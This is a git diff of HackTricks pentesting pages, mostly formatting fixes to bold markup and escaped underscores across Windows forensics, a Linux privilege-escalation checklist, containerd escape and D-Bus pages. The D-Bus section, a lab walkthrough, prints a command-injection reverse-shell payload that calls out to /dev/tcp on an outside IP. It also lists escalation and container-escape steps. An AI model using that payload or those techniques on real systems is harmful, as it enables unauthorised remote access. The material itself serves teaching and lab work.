diff --git a/forensics/basic-forensic-methodology/windows-forensics/README.md b/forensics/basic-forensic-methodology/windows-forensics/README.md index e92b8e52..985e71ee 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/README.md +++ b/forensics/basic-forensic-methodology/windows-forensics/README.md @@ -16,7 +16,7 @@ This database can be open with a SQLite tool or with the tool [**WxTCmd**](https ### ADS/Alternate Data Streams -Files downloaded may contain the **ADS Zone.Identifier** indicating **how **was **downloaded **(from the intranet, Internet...) and some software (like browser) usually put even **more** **information **like the **URL **from where the file was downloaded. +Files downloaded may contain the **ADS Zone.Identifier** indicating **how** was **downloaded** (from the intranet, Internet...) and some software (like browser) usually put even **more** **information** like the **URL** from where the file was downloaded. ## **File Backups** @@ -45,7 +45,7 @@ These backups are usually located in the `\System Volume Information` from the r ![](<../../../.gitbook/assets/image (520).png>) -Mounting the forensics image with the **ArsenalImageMounter**, the tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) can be used to inspect a shadow copy and even **extract the files** from the shadow copy backups. +Mounting the forensics image with the **ArsenalImageMounter**, the tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) can be used to inspect a shadow copy and even **extract the files** from the shadow copy backups. ![](<../../../.gitbook/assets/image (521).png>) @@ -147,7 +147,7 @@ Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about whe The 'Plug and Play Cleanup' scheduled task is responsible for **clearing** legacy versions of drivers. It would appear (based upon reports online) that it also picks up **drivers which have not been used in 30 days**, despite its description stating that "the most current version of each driver package will be kept". As such, **removable devices which have not been connected for 30 days may have their drivers removed**.\ The scheduled task itself is located at ‘C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup’, and its content is displayed below: -![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) +![](https://2.bp.blogspot.com/-wqYubtuR\_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) The task references 'pnpclean.dll' which is responsible for performing the cleanup activity additionally we see that the ‘UseUnifiedSchedulingEngine’ field is set to ‘TRUE’ which specifies that the generic task scheduling engine is used to manage the task. The ‘Period’ and ‘Deadline’ values of 'P1M' and 'P2M' within ‘MaintenanceSettings’ instruct Task Scheduler to execute the task once every month during regular Automatic maintenance and if it fails for 2 consecutive months, to start attempting the task during.\ **This section was copied from** [**here**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)**.** @@ -169,7 +169,7 @@ This application saves the emails in HTML or text. You can find the emails insid The **metadata** of the emails and the **contacts** can be found inside the **EDB database**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` -**Change the extension** of the file from `.vol` to `.edb` and you can use the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) to open it. Inside the `Message` table you can see the emails. +**Change the extension** of the file from `.vol` to `.edb` and you can use the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) to open it. Inside the `Message` table you can see the emails. ### Microsoft Outlook @@ -217,7 +217,7 @@ It is possible to read this file with the tool [**Thumbsviewer**](https://thumbs ### Thumbcache -Beginning with Windows Vista, **thumbnail previews are stored in a centralized location on the system**. This provides the system with access to images independent of their location, and addresses issues with the locality of Thumbs.db files. The cache is stored at **`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`** as a number of files with the label **thumbcache_xxx.db** (numbered by size); as well as an index used to find thumbnails in each sized database. +Beginning with Windows Vista, **thumbnail previews are stored in a centralized location on the system**. This provides the system with access to images independent of their location, and addresses issues with the locality of Thumbs.db files. The cache is stored at **`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`** as a number of files with the label **thumbcache\_xxx.db** (numbered by size); as well as an index used to find thumbnails in each sized database. * Thumbcache\_32.db -> small * Thumbcache\_96.db -> medium @@ -333,7 +333,7 @@ It gives the information: This information is updated every 60mins. -You can obtain the date from this file using the tool [**srum_dump**](https://github.com/MarkBaggett/srum-dump). +You can obtain the date from this file using the tool [**srum\_dump**](https://github.com/MarkBaggett/srum-dump). ```bash .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum @@ -347,13 +347,13 @@ The cache stores various file metadata depending on the operating system, such a * File Full Path * File Size -* **$Standard_Information** (SI) Last Modified time +* **$Standard\_Information** (SI) Last Modified time * Shimcache Last Updated time * Process Execution Flag This information can be found in the registry in: -* `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` +* `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` * XP (96 entries) * `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache` * Server 2003 (512 entries) @@ -417,7 +417,7 @@ Before Windows Vista the event logs were in binary format and after it, they are The location of the event files can be found in the SYSTEM registry in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** -They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com)** or **[**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** +They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** ### Security @@ -460,7 +460,7 @@ The Status and sub status information of the event s can indicate more details a ### Recovering Windows Events -It's highly recommended to turn off the suspicious PC by **unplugging it** to maximize the probabilities of recovering the Windows Events. In case they were deleted, a tool that can be useful to try to recover them is [**Bulk_extractor**](../partitions-file-systems-carving/file-data-carving-recovery-tools.md#bulk-extractor) indicating the **evtx** extension. +It's highly recommended to turn off the suspicious PC by **unplugging it** to maximize the probabilities of recovering the Windows Events. In case they were deleted, a tool that can be useful to try to recover them is [**Bulk\_extractor**](../partitions-file-systems-carving/file-data-carving-recovery-tools.md#bulk-extractor) indicating the **evtx** extension. ## Identifying Common Attacks with Windows Events @@ -478,7 +478,7 @@ This event is recorded by the EventID 4616 inside the Security Event log. The following System EventIDs are useful: * 20001 / 20003 / 10000: First time it was used -* 10100: Driver update +* 10100: Driver update The EventID 112 from DeviceSetupManager contains the timestamp of each USB device inserted. diff --git a/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index cfc515ff..b4703689 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -32,7 +32,7 @@ ### Shared Folders -* **`System\ControlSet001\Services\lanmanserver\Shares\`**: Share folders and their configurations. If **Client Side Caching** (CSCFLAGS) is enabled, then, a copy of the shared files will be saved in the clients and server in `C:\Windows\CSC` +* **`System\ControlSet001\Services\lanmanserver\Shares\`**: Share folders and their configurations. If **Client Side Caching** (CSCFLAGS) is enabled, then, a copy of the shared files will be saved in the clients and server in `C:\Windows\CSC` * CSCFlag=0 -> By default the user needs to indicate the files that he wants to cache * CSCFlag=16 -> Automatic caching documents. “All files and programs that users open from the shared folder are automatically available offline” with the “optimize for performance" unticked. * CSCFlag=32 -> Like the previous options by “optimize for performance” is ticked @@ -42,10 +42,10 @@ ### AutoStart programs -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run` -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\RunOnce` -* `Software\Microsoft\Windows\CurrentVersion\Runonce` -* `Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run` +* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run` +* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\RunOnce` +* `Software\Microsoft\Windows\CurrentVersion\Runonce` +* `Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run` * `Software\Microsoft\Windows\CurrentVersion\Run` ### Explorer Searches @@ -110,7 +110,7 @@ Desktop Access: * `NTUSER.DAT\Software\Microsoft\Windows\Shell\BagMRU` * `NTUSER.DAT\Software\Microsoft\Windows\Shell\Bags` -To analyze the Shellbags you can use [**Shellbag Explorer**](https://ericzimmerman.github.io/#!index.md) **\*\*and you will be able to find the **MAC time of the folder** and also the **creation date and modified date of the shellbag** which are related with the **first time the folder was accessed and the last time\*\*. +To analyze the Shellbags you can use [**Shellbag Explorer**](https://ericzimmerman.github.io/#!index.md) **\*\*and you will be able to find the** MAC time of the folder **and also the** creation date and modified date of the shellbag **which are related with the** first time the folder was accessed and the last time\*\*. Note 2 things from the following image: diff --git a/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md b/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md index b8a3bbdd..371d97e0 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md +++ b/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md @@ -62,7 +62,7 @@ Keep in mind that this process is highly attacked to dump passwords. This is the **Generic Service Host Process**.\ It hosts multiple DLL services in one shared process.\ -Usually you will find that **svchost.exe** is launched with `-k` flag. This will launch a query to the registry **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost **where there will be a key with the argument mentioned in -k that will contain the services to launch in the same process. +Usually you will find that **svchost.exe** is launched with `-k` flag. This will launch a query to the registry **HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** where there will be a key with the argument mentioned in -k that will contain the services to launch in the same process. For example: `-k UnistackSvcGroup` will launch: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` @@ -79,7 +79,7 @@ In W8 is called taskhostex.exe and in W10 taskhostw.exe. This is the process responsible for the **user's desktop** and launching files via file extensions.\ **Only 1** process should be spawned **per logged on user.**\ -This is run from **userinit.exe** which should be terminated, so **no parent **should appear for this process. +This is run from **userinit.exe** which should be terminated, so **no parent** should appear for this process. ## Catching Malicious Processes diff --git a/interesting-http.md b/interesting-http.md index f1ac97d4..90d7582c 100644 --- a/interesting-http.md +++ b/interesting-http.md @@ -10,7 +10,7 @@ If at some point inside a web page any sensitive information is located on a GET ### Mitigation -You can make the browser follow a **Referrer-policy** that could **avoid **the sensitive information to be sent to other web applications: +You can make the browser follow a **Referrer-policy** that could **avoid** the sensitive information to be sent to other web applications: ``` Referrer-Policy: no-referrer diff --git a/linux-unix/linux-environment-variables.md b/linux-unix/linux-environment-variables.md index c35a36b3..5cc0a341 100644 --- a/linux-unix/linux-environment-variables.md +++ b/linux-unix/linux-environment-variables.md @@ -60,7 +60,7 @@ cat /proc/`python -c "import os; print(os.getppid())"`/environ * _**\~/.bashrc**_\*\* :\*\* This file behaves the same way _/etc/bash.bashrc_ file works but it is executed only for a specific user. If you want to create an environment for yourself go ahead and modify or create this file in your home directory. * _**\~/.profile, \~/.bash\_profile, \~/.bash\_login**_**:** These files are same as _/etc/profile_. The difference comes in the way it is executed. This file is executed only when a user in whose home directory this file exists, logs in. -**Extracted from: **[**here**](https://codeburst.io/linux-environment-variables-53cea0245dc9)** and **[**here**](https://www.gnu.org/software/bash/manual/html\_node/Bash-Startup-Files.html) +**Extracted from:** [**here**](https://codeburst.io/linux-environment-variables-53cea0245dc9) **and** [**here**](https://www.gnu.org/software/bash/manual/html\_node/Bash-Startup-Files.html) ## Common variables diff --git a/linux-unix/linux-privilege-escalation-checklist.md b/linux-unix/linux-privilege-escalation-checklist.md index 4e7dc087..bb4ee631 100644 --- a/linux-unix/linux-privilege-escalation-checklist.md +++ b/linux-unix/linux-privilege-escalation-checklist.md @@ -6,51 +6,51 @@ description: Checklist for privilege escalation in Linux {% hint style="danger" %} Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?\ -[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop)** so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** +[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** {% endhint %} -If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks **or** PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ -If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to** give ⭐** on **github** to **motivate** **me** to continue developing this book. +If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ +If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book. -### **Best tool to look for Linux local privilege escalation vectors: **[**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)**** +### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)**** ### [System Information](privilege-escalation/#system-information) -* [ ] Get** OS information** +* [ ] Get **OS information** * [ ] Check the [**PATH**](privilege-escalation/#path), any **writable folder**? * [ ] Check [**env variables**](privilege-escalation/#env-info), any sensitive detail? -* [ ] Search for [**kernel exploits**](privilege-escalation/#kernel-exploits)** using scripts **(DirtyCow?) -* [ ] **Check **if the [**sudo version **is vulnerable](privilege-escalation/#sudo-version) +* [ ] Search for [**kernel exploits**](privilege-escalation/#kernel-exploits) **using scripts** (DirtyCow?) +* [ ] **Check** if the [**sudo version** is vulnerable](privilege-escalation/#sudo-version) * [ ] ****[**Dmesg** signature verification failed](privilege-escalation/#dmesg-signature-verification-failed) error? * [ ] More system enum ([date, system stats, cpu info, printers](privilege-escalation/#more-system-enumeration)) * [ ] [Enumerate more defenses](privilege-escalation/#enumerate-possible-defenses) ### [Drives](privilege-escalation/#drives) -* [ ] **List mounted **drives +* [ ] **List mounted** drives * [ ] **Any unmounted drive?** * [ ] **Any creds in fstab?** ### ****[**Installed Software**](privilege-escalation/#installed-software)**** -* [ ] **Check for**[** useful software**](privilege-escalation/#useful-software)** installed** -* [ ] **Check for **[**vulnerable software**](privilege-escalation/#vulnerable-software-installed)** installed** +* [ ] **Check for**[ **useful software**](privilege-escalation/#useful-software) **installed** +* [ ] **Check for** [**vulnerable software**](privilege-escalation/#vulnerable-software-installed) **installed** ### ****[Processes](privilege-escalation/#processes) * [ ] Is any **unknown software running**? * [ ] Is any software with **more privileges that it should have running**? -* [ ] Search for** exploits for running processes** (specially if running of versions) +* [ ] Search for **exploits for running processes** (specially if running of versions) * [ ] Can you **modify the binary** of any running process? * [ ] **Monitor processes** and check if any interesting process is running frequently -* [ ] Can you **read **some interesting **process memory **(where passwords could be saved)? +* [ ] Can you **read** some interesting **process memory** (where passwords could be saved)? ### [Scheduled/Cron jobs?](privilege-escalation/#scheduled-jobs) -* [ ] Is the [**PATH **](privilege-escalation/#cron-path)being modified by some cron and you can **write **in it? -* [ ] Any [**wildcard **](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection)in a cron job? -* [ ] Some [**modifiable script** ](privilege-escalation/#cron-script-overwriting-and-symlink)is being **executed **or is inside **modifiable folder**? -* [ ] Have you detected that some **script **could be being [**executed **very **frequently**](privilege-escalation/#frequent-cron-jobs)? (every 1, 2 or 5 minutes) +* [ ] Is the [**PATH** ](privilege-escalation/#cron-path)being modified by some cron and you can **write** in it? +* [ ] Any [**wildcard** ](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection)in a cron job? +* [ ] Some [**modifiable script** ](privilege-escalation/#cron-script-overwriting-and-symlink)is being **executed** or is inside **modifiable folder**? +* [ ] Have you detected that some **script** could be being [**executed** very **frequently**](privilege-escalation/#frequent-cron-jobs)? (every 1, 2 or 5 minutes) ### [Services](privilege-escalation/#services) @@ -64,7 +64,7 @@ If you want to **share some tricks with the community** you can also submit **pu ### [Sockets](privilege-escalation/#sockets) -* [ ] Any** writable .socket **file? +* [ ] Any **writable .socket** file? * [ ] Can you **communicate with any socket**? * [ ] **HTTP sockets** with interesting info? @@ -83,27 +83,27 @@ If you want to **share some tricks with the community** you can also submit **pu * [ ] Generic users/groups **enumeration** * [ ] Do you have a **very big UID**? Is the **machine** **vulnerable**? * [ ] Can you [**escalate privileges thanks to a group**](privilege-escalation/interesting-groups-linux-pe/) you belong to? -* [ ] **Clipboard **data? +* [ ] **Clipboard** data? * [ ] Password Policy? -* [ ] Try to **use **every **known password **that you have discovered previously to login **with each **possible **user**. Try to login also without password. +* [ ] Try to **use** every **known password** that you have discovered previously to login **with each** possible **user**. Try to login also without password. ### [Writable PATH](privilege-escalation/#writable-path-abuses) -* [ ] If you have** write privileges over some folder in PATH** you may be able to escalate privileges +* [ ] If you have **write privileges over some folder in PATH** you may be able to escalate privileges ### [SUDO and SUID commands](privilege-escalation/#sudo-and-suid) * [ ] Can you execute **any comand with sudo**? Can you use it to READ, WRITE or EXECUTE anything as root? ([**GTFOBins**](https://gtfobins.github.io)) * [ ] Is any **exploitable suid binary**? ([**GTFOBins**](https://gtfobins.github.io)) -* [ ] Are [**sudo **commands **limited **by **path**? can you **bypass **the restrictions](privilege-escalation/#sudo-execution-bypassing-paths)? +* [ ] Are [**sudo** commands **limited** by **path**? can you **bypass** the restrictions](privilege-escalation/#sudo-execution-bypassing-paths)? * [ ] ****[**Sudo/SUID binary without path indicated**](privilege-escalation/#sudo-command-suid-binary-without-command-path)? * [ ] ****[**SUID binary specifying path**](privilege-escalation/#suid-binary-with-command-path)? Bypass -* [ ] ****[**LD_PRELOAD vuln**](privilege-escalation/#ld_preload)**** -* [ ] ****[**Lack of .so library in SUID binary**](privilege-escalation/#suid-binary-so-injection)** **from a writable folder? +* [ ] ****[**LD\_PRELOAD vuln**](privilege-escalation/#ld\_preload)**** +* [ ] ****[**Lack of .so library in SUID binary**](privilege-escalation/#suid-binary-so-injection) **** from a writable folder? * [ ] ****[**SUDO tokens available**](privilege-escalation/#reusing-sudo-tokens)? [**Can you create a SUDO token**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)? * [ ] Can you [**read or modify sudoers files**](privilege-escalation/#etc-sudoers-etc-sudoers-d)? * [ ] Can you [**modify /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d)? -* [ ] [**OpenBSD DOAS**](privilege-escalation/#doas)** **command +* [ ] [**OpenBSD DOAS**](privilege-escalation/#doas) **** command ### [Capabilities](privilege-escalation/#capabilities) @@ -120,7 +120,7 @@ If you want to **share some tricks with the community** you can also submit **pu ### [SSH](privilege-escalation/#ssh) -* [ ] **Debian **[**OpenSSL Predictable PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166)**** +* [ ] **Debian** [**OpenSSL Predictable PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166)**** * [ ] ****[**SSH Interesting configuration values**](privilege-escalation/#ssh-interesting-configuration-values)**** ### [Interesting Files](privilege-escalation/#interesting-files) @@ -128,20 +128,20 @@ If you want to **share some tricks with the community** you can also submit **pu * [ ] **Profile files** - Read sensitive data? Write to privesc? * [ ] **passwd/shadow files** - Read sensitive data? Write to privesc? * [ ] **Check commonly interesting folders** for sensitive data -* [ ] **Weird Localtion/Owned files, **you may have access or alter executable files -* [ ] **Modified **in last mins +* [ ] **Weird Localtion/Owned files,** you may have access or alter executable files +* [ ] **Modified** in last mins * [ ] **Sqlite DB files** * [ ] **Hidden files** * [ ] **Script/Binaries in PATH** -* [ ] **Web files **(passwords?) +* [ ] **Web files** (passwords?) * [ ] **Backups**? -* [ ] **Known files that contains passwords**: Use **Linpeas **and **LaZagne** +* [ ] **Known files that contains passwords**: Use **Linpeas** and **LaZagne** * [ ] **Generic search** ### ****[**Writable Files**](privilege-escalation/#writable-files)**** * [ ] **Modify python library** to execute arbitrary commands? -* [ ] Can you **modify log files**? **Logtotten **exploit +* [ ] Can you **modify log files**? **Logtotten** exploit * [ ] Can you **modify /etc/sysconfig/network-scripts/**? Centos/Redhat exploit * [ ] Can you [**write in ini, int.d, systemd or rc.d files**](privilege-escalation/#init-init-d-systemd-and-rc-d)? @@ -150,8 +150,8 @@ If you want to **share some tricks with the community** you can also submit **pu * [ ] Can you [**abuse NFS to escalate privileges**](privilege-escalation/#nfs-privilege-escalation)? * [ ] Do you need to [**escape from a restrictive shell**](privilege-escalation/#escaping-from-restricted-shells)? -If you want to **know **about my **latest modifications**/**additions** or you have **any suggestion for HackTricks or PEASS**,** **join the [💬](https://emojipedia.org/speech-balloon/)** **[**PEASS & HackTricks telegram group here**](https://t.me/peass), or** follow me on Twitter **[🐦](https://emojipedia.org/bird/)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ -****If you want to** share some tricks with the community **you can also submit **pull requests **to** **[**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks)** **that will be reflected in this book.\ +If you want to **know** about my **latest modifications**/**additions** or you have **any suggestion for HackTricks or PEASS**, **** join the [💬](https://emojipedia.org/speech-balloon/) **** [**PEASS & HackTricks telegram group here**](https://t.me/peass), or **follow me on Twitter** [🐦](https://emojipedia.org/bird/)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ +****If you want to **share some tricks with the community** you can also submit **pull requests** to **** [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) **** that will be reflected in this book.\ Don't forget to **give ⭐ on the github** to motivate me to continue developing this book. ![](<../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (3).png>) diff --git a/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation.md b/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation.md index 4a42db52..67b2b942 100644 --- a/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation.md +++ b/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation.md @@ -2,7 +2,7 @@ ## Basic information -Go to the following link to learn **what is containerd **and `ctr`: +Go to the following link to learn **what is containerd** and `ctr`: {% content-ref url="../../pentesting/2375-pentesting-docker.md" %} [2375-pentesting-docker.md](../../pentesting/2375-pentesting-docker.md) @@ -41,7 +41,7 @@ You can run a privileged container as: ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash ``` -Then you can use some of the techniques mentioned in the following page to** escape from it abusing privileged capabilities**: +Then you can use some of the techniques mentioned in the following page to **escape from it abusing privileged capabilities**: {% content-ref url="docker-breakout/" %} [docker-breakout](docker-breakout/) diff --git a/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md b/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md index e3ec9896..47134389 100644 --- a/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md +++ b/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -2,11 +2,11 @@ ## **GUI enumeration** -**(This enumeration info was taken from **[**https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/**](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)**)** +**(This enumeration info was taken from** [**https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/**](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)**)** Ubuntu desktop utilizes D-Bus as its inter-process communications (IPC) mediator. On Ubuntu, there are several message buses that run concurrently: A system bus, which is mainly used by **privileged services to expose system-wide relevant services**, and one session bus for each logged in user, which exposes services that are only relevant to that specific user. Since we will try to elevate our privileges, we will mainly focus on the system bus as the services there tend to run with higher privileges (i.e. root). Note that the D-Bus architecture utilizes one ‘router’ per session bus, which redirects client messages to the relevant services they are trying to interact with. Clients need to specify the address of the service to which they want to send messages. -Each service is defined by the **objects **and **interfaces** that it exposes. We can think of objects as instances of classes in standard OOP languages. Each unique instance is identified by its **object path** – a string which resembles a file system path that uniquely identifies each object that the service exposes. A standard interface that will help with our research is the **org.freedesktop.DBus.Introspectable** interface. It contains a single method, Introspect, which returns an XML representation of the methods, signals and properties supported by the object. This blog post focuses on methods and ignores properties and signals. +Each service is defined by the **objects** and **interfaces** that it exposes. We can think of objects as instances of classes in standard OOP languages. Each unique instance is identified by its **object path** – a string which resembles a file system path that uniquely identifies each object that the service exposes. A standard interface that will help with our research is the **org.freedesktop.DBus.Introspectable** interface. It contains a single method, Introspect, which returns an XML representation of the methods, signals and properties supported by the object. This blog post focuses on methods and ignores properties and signals. I used two tools to communicate with the D-Bus interface: CLI tool named **gdbus**, which allows to easily call D-Bus exposed methods in scripts, and [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), a Python based GUI tool that helps to enumerate the available services on each bus and to see which objects each service contains. @@ -24,7 +24,7 @@ _Figure 2. D-Feet interface window_ On the left pane in Figure 1 you can see all the various services that have registered with the D-Bus daemon system bus (note the select System Bus button on the top). I selected the **org.debin.apt** service, and D-Feet automatically **queried the service for all the available objects**. Once I selected a specific object, the set of all interfaces, with their respective methods properties and signals are listed, as seen in Figure 2. Note that we also get the signature of each **IPC exposed method**. -We can also see the** pid of the process** that hosts each service, as well as its **command line**. This is a very useful feature, since we can validate that the target service we are inspecting indeed runs with higher privileges. Some services on the System bus don’t run as root, and thus are less interesting to research. +We can also see the **pid of the process** that hosts each service, as well as its **command line**. This is a very useful feature, since we can validate that the target service we are inspecting indeed runs with higher privileges. Some services on the System bus don’t run as root, and thus are less interesting to research. D-Feet also allows one to call the various methods. In the method input screen we can specify a list of Python expressions, delimited by commas, to be interpreted as the parameters to the invoked function, shown in Figure 3. Python types are marshaled to D-Bus types and passed to the service. @@ -178,10 +178,10 @@ Note the method `.Block` of the interface `htb.oouch.Block` (the one we are inte With enough privileges (just `send_destination` and `receive_sender` privileges aren't enough) you can **monitor a D-Bus communication**. -In order to **monitor** a **communication** you will need to be **root. **If you still find problems being root check [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) and [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) +In order to **monitor** a **communication** you will need to be **root.** If you still find problems being root check [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) and [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) {% hint style="warning" %} -If you know how to configure a D-Bus config file to** allow non root users to sniff **the communication please **contact me**! +If you know how to configure a D-Bus config file to **allow non root users to sniff** the communication please **contact me**! {% endhint %} Different ways to monitor: @@ -215,7 +215,7 @@ Monitoring bus message stream. You can use `capture` instead of `monitor` to save the results in a pcap file. -#### Filtering all the noise +#### Filtering all the noise If there is just too much information on the bus, pass a match rule like so: @@ -243,7 +243,7 @@ See the [D-Bus documentation](http://dbus.freedesktop.org/doc/dbus-specification ## **Vulnerable Scenario** -As user **qtc inside the host "oouch" from HTB **you can find an **unexpected D-Bus config file** located in_ /etc/dbus-1/system.d/htb.oouch.Block.conf_: +As user **qtc inside the host "oouch" from HTB** you can find an **unexpected D-Bus config file** located in _/etc/dbus-1/system.d/htb.oouch.Block.conf_: ```markup @@ -266,9 +266,9 @@ As user **qtc inside the host "oouch" from HTB **you can find an **unexpected D- ``` -Note from the previous configuration that** you will need to be the user `root` or `www-data` to send and receive information** via this D-BUS communication. +Note from the previous configuration that **you will need to be the user `root` or `www-data` to send and receive information** via this D-BUS communication. -As user **qtc **inside the docker container **aeb4525789d8** you can find some dbus related code in the file _/code/oouch/routes.py. _This is the interesting code: +As user **qtc** inside the docker container **aeb4525789d8** you can find some dbus related code in the file _/code/oouch/routes.py._ This is the interesting code: ```python if primitive_xss.search(form.textfield.data): @@ -282,14 +282,14 @@ if primitive_xss.search(form.textfield.data): return render_template('hacker.html', title='Hacker') ``` -As you can see, it is **connecting to a D-Bus interface** and sending to the **"Block" function** the "client_ip". +As you can see, it is **connecting to a D-Bus interface** and sending to the **"Block" function** the "client\_ip". -In the other side of the D-Bus connection there is some C compiled binary running. This code is **listening **in the D-Bus connection **for IP address and is calling iptables via `system` function** to block the given IP address.\ +In the other side of the D-Bus connection there is some C compiled binary running. This code is **listening** in the D-Bus connection **for IP address and is calling iptables via `system` function** to block the given IP address.\ **The call to `system` is vulnerable on purpose to command injection**, so a payload like the following one will create a reverse shell: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` ### Exploit it -At the end of this page you can find the** complete C code of the D-Bus application**. Inside of it 